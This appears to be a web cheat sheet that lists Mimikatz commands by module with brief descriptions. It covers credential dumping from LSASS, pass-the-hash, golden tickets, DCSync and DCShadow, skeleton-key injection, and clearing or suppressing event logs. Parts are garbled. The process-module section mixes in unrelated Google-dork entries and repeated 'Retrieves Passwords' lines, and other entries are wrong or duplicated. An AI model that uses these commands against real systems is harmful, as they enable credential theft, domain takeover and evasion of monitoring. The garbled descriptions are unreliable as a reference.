

Mimikatz

Source: <https://github.com>

Mimikatz is an open-source application that allows users to view and save authentication credentials. Attackers make use of this tool to extract plaintexts passwords, hash, PIN code, and Kerberos tickets from memory.

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1. Mimikatz Sekurlsa Module

Mimikatz Command	Description
mimikatz # sekurlsa::pth /user:<username> /<domain name> /ntlm:<hash>	Pass-The-Hash and Over-Pass-the-Hash
mimikatz # sekurlsa::logonpasswords	List all current existing user and system credentials
mimikatz # sekurlsa::tickets /export	List and exports all available Kerberos tickets for all sessions
mimikatz # sekurlsa::ekeys	Display all Kerberos encryption keys
mimikatz # sekurlsa::dpapi	Show cached MasterKeys
mimikatz # sekurlsa::dpapiSystem	Show DPAPI_SYSTEM secret
mimikatz # sekurlsa::minidump lsass.dmp	Switch to LSASS minidump process context
mimikatz # sekurlsa::msv	Show LM & NTLM credentials
mimikatz # sekurlsa::kerberos	List Kerberos credentials for all authenticated users
mimikatz # sekurlsa::Krbtgt	Obtain password data of Domain Kerberos service account (KRBtgt)
mimikatz # sekurlsa::liveSSP	List LiveSSP credentials
mimikatz # sekurlsa::backupkeys	Get preferred backup master keys
mimikatz # sekurlsa::credman	List credentials manager
mimikatz # sekurlsa::SSP	Display SSP credentials
mimikatz # sekurlsa::trust	Get trust keys
mimikatz # sekurlsa::tspkg	Show TSPKG credentials
mimikatz # sekurlsa::wdigest	Display WDigest credentials

2. Mimikatz Crypto Module

Mimikatz Command	Description
mimikatz # crypto::certificates	List or export certificates
mimikatz # crypto::certtohw	Export software CA to crypto virtual hardware
mimikatz # crypto::cng	Patch CNG service for easy export
mimikatz # crypto::extract	Extract keys from CAPI RSA/AES provider
mimikatz # crypto::hash	Hash a password with optional username
mimikatz # crypto::keys	List or export keys containers
mimikatz # crypto::providers	List cryptographic providers
mimikatz # crypto::sc	List smartcard readers
mimikatz # crypto::scauth	Create authentication certificate from CA
mimikatz # crypto::stores	List cryptographic stores
mimikatz # crypto::system	Define Windows system certificate file
mimikatz # crypto::capi	Patch CryptoAPI layer for easy export

3. Mimikatz DPAPI Module

Mimikatz Command	Description
mimikatz # dpapi::blob	Unprotect DPAPI blob with API or Masterkey
mimikatz # dpapi::cache	Creates cache
mimikatz # dpapi::capi	CAPI key test
mimikatz # dpapi::chrome	Chrome test
mimikatz # dpapi::cng	CNG key test
mimikatz # dpapi::cred	CRED test
mimikatz # dpapi::credhist	Configure Credhist file
mimikatz # dpapi::masterkey	Configure masterkey file
mimikatz # dpapi::protect	Protect data using DPAPI
mimikatz # dpapi::vault	VAULT test
mimikatz # dpapi::wifi	WIFI test
mimikatz # dpapi::wwan	WWAN test
mimikatz # dpapi::system	Describe Windows system certificate file

4. Mimikatz Kerberos Module

Mimikatz Command	Description
mimikatz # kerberos::clist	List tickets in MIT/Heimdall cache
mimikatz # kerberos::golden	Create golden/silver/trust tickets
mimikatz # kerberos::hash	Hash password to keys
mimikatz # kerberos::list	List all user tickets in user memory
mimikatz # kerberos::ptc	Pass the cache
mimikatz # kerberos::ptt	Pass the ticket
mimikatz # kerberos::purge	Remove all Kerberos tickets
mimikatz # kerberos::tgt	Get current TGT for current user
mimikatz # kerberos::ask	Request TGS tickets

5. Mimikatz LSADUMP Module

Mimikatz Command	Description
mimikatz # lsadump::backupkeys	Needs Administrator rights
mimikatz # lsadump::cache	Get SysKey to decrypt NL\$KM and MSCache(v2)
mimikatz # lsadump::changentlm	Ask server to set new password/NTLM for one user
mimikatz # lsadump::dcshadow	Push replication changes to Domain Controller
mimikatz # lsadump::dcsync	Ask DC to synchronize an object
mimikatz # lsadump::lsa	Ask LSA Server to retrieve SAM/AD enterprise
mimikatz # lsadump::netsync	Uses DC computer account password data to impersonate a Domain Controller through Silver Ticket and DCSync the target account's information including the password data
mimikatz # lsadump::sam	Get SysKey to decrypt SAM entries
mimikatz # lsadump::secrets	Get SysKey to decrypt secrets entries
mimikatz # lsadump::setntlm	Request server to set new password/NTLM for one use
mimikatz # lsadump::trust	Request LSA Server to retrieve Trust Auth Information

6. Mimikatz MISC Module

Mimikatz Command	Description
mimikatz # misc::addsid	Add to SIDHistory to user account
mimikatz # misc::cmd	Command Prompt
mimikatz # misc::compressme	Compresses Mimikatz file to a new file
mimikatz # misc::detours	Enumerate all modules with Detours-like hooks

Mimikatz Command	Description
<code>mimikatz # misc::memssp</code>	Inject malicious Windows SSP to log locally authenticated credentials by patching LSASS in memory with new SSP
<code>mimikatz # misc::mflt</code>	Gathers details on loaded drivers
<code>mimikatz # misc::ncroutemon</code>	Juniper Manager
<code>mimikatz # misc::regedit</code>	Registry Editor
<code>mimikatz # misc::skeleton</code>	Inject Skeleton Key into LSASS process on Domain Controller
<code>mimikatz # misc::taskmgr</code>	Task Manager.

7. Mimikatz Privilege Module

Mimikatz Command	Description
<code>mimikatz # privilege::backup</code>	Get backup privilege or rights
<code>mimikatz # privilege::debug</code>	Obtain debug rights
<code>mimikatz # privilege::driver</code>	Get driver privilege or rights
<code>mimikatz # privilege::id</code>	Get privilege or rights by ID
<code>mimikatz # privilege::name</code>	Get privilege or rights by name
<code>mimikatz # privilege::restore</code>	Obtain restore privilege s
<code>mimikatz # privilege::security</code>	Get security privilege
<code>mimikatz # privilege::sysenv</code>	Obtain privilege or rights to manage system environment
<code>mimikatz # privilege::tcb</code>	Get TCB privilege

8. Mimikatz Process Module

Mimikatz Command	Description
<code>mimikatz # process::exports</code>	Finds files with FTP logins, server info, and more
<code>mimikatz # process::imports</code>	Find lists of FTP directories of D-Link routers
<code>mimikatz # process::list</code>	Dork of proftpd passwords
<code>intext:"Powered by net2ftp"</code>	Web based FTP client login page
<code>mimikatz # process::run</code>	Retrieves Passwords
<code>mimikatz # process::start</code>	Retrieves Passwords
<code>mimikatz # process::stop</code>	Retrieves Passwords
<code>mimikatz # process::suspend</code>	Retrieves Passwords

9. Mimikatz Service

Mimikatz Command	Description
<code>mimikatz # service::+</code>	Installs Mimikatz service
<code>mimikatz # service::-</code>	Uninstalls Mimikatz service
<code>mimikatz # service::list</code>	List Services

Mimikatz Command	Description
<code>mimikatz # service::preshtutdown</code>	Preshutdown service
<code>mimikatz # service:: remove</code>	Remove service
<code>mimikatz # service::resume</code>	Resume service
<code>mimikatz # service::shutdown</code>	Shutdown service
<code>mimikatz # service::start</code>	Start service
<code>mimikatz # service::stop</code>	Stop service
<code>mimikatz # service::suspend</code>	Suspend servicee

10. Mimikatz SID Module

Mimikatz Command	Description
<code>mimikatz # sid::add</code>	Add a SID to SIDHistory of an object
<code>mimikatz # sid::clear</code>	Clear SIDHistory of an object
<code>mimikatz # sid::lookup</code>	Name or SID lookup
<code>mimikatz # sid::modify</code>	Modify object SID of an object
<code>mimikatz # sid::patch</code>	Patch NTDS service
<code>mimikatz # sid::query</code>	Query object by SID or name

11. Mimikatz Standard

Mimikatz Command	Description
<code>mimikatz # standard::answer</code>	Provides answer to everything
<code>mimikatz # standard::base64</code>	Shift output to base64 output
<code>mimikatz # standard::cd</code>	Change or display current directory
<code>mimikatz # standard::cls</code>	Clears the screen
<code>mimikatz # standard::coffee</code>	Shows ASCII image of coffee
<code>mimikatz # standard::exit</code>	Mimikatz exits
<code>mimikatz # standard::hostname</code>	Display system local host
<code>mimikatz # standard::localtime</code>	Display local date and time of system
<code>mimikatz # standard::log</code>	Send Mimikatz data to log file
<code>mimikatz # standard::sleep</code>	Sleep a quantity of milliseconds
<code>mimikatz # standard::version</code>	Show version information
<code>mimikatz # standard::markrus</code>	Pass-the-Hash information

12. Mimikatz Token Module

Mimikatz Command	Description
<code>mimikatz # token:: elevate</code>	Elevate permissions to system

Mimikatz Command	Description
<code>mimikatz # token::list</code>	List all tokens of the system
<code>mimikatz # token::revert</code>	Revert to process token
<code>mimikatz # token::run</code>	Runs token
<code>mimikatz # token::whoami</code>	Display current identity

13. Mimikatz SYSENV Module

Mimikatz Command	Description
<code>mimikatz # sysenv::list</code>	List system environment variables
<code>mimikatz # sysenv::get</code>	Get system environment variables
<code>mimikatz # sysenv::set</code>	Set system environment variables
<code>mimikatz # sysenv::set</code>	Delete system environment variables

14. Mimikatz RPC Module

Mimikatz Command	Description
<code>mimikatz # rpc::close</code>	Close connection with remote control
<code>mimikatz # rpc::connect</code>	Establish connection
<code>mimikatz # rpc::enum</code>	Enumerate connection
<code>mimikatz # rpc::server</code>	Establish connection with server

15. Mimikatz BusyLight Module

Mimikatz Command	Description
<code>mimikatz # busylight::list</code>	Lists connected BusyLights
<code>mimikatz # busylight::off</code>	Off BusyLights
<code>mimikatz # busylight::single</code>	Display single BusyLights
<code>mimikatz # busylight::status</code>	Shows status of BusyLights
<code>mimikatz # busylight::test</code>	Test BusyLights

16. Additional Commands

Mimikatz Command	Description
<code>mimikatz # ts::sessions</code>	List TS/RDP sessions
<code>mimikatz # vault::list</code>	List vault credentials
<code>mimikatz # minesweeper::infos</code>	Gives mine information in minesweeper
<code>mimikatz # event::clear</code>	Clears event logs
<code>mimikatz # event::drop</code>	Patch events service to avoid new events